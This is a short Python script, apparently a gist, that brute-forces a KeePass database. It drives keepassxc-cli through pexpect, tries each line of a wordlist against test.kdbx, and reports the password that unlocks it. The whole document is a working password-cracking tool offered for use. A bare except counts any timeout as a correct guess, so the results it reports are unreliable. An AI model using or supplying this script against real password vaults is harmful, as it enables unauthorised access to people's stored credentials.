keepass unsupported version slow bruteforce

brute_keepass.py

#!/usr/bin/env python3

import pexpect

with open('Passwords.txt') as passwords:
    for password in passwords:
        p = pexpect.spawn('/bin/bash -c "keepassxc-cli open test.kdbx"')
        p.expect("Enter password to unlock")
        p.sendline(password)
        p.timeout = 2
        try:
            p.expect("Error while")
            p.close()
        except :
            print(password + " is correct")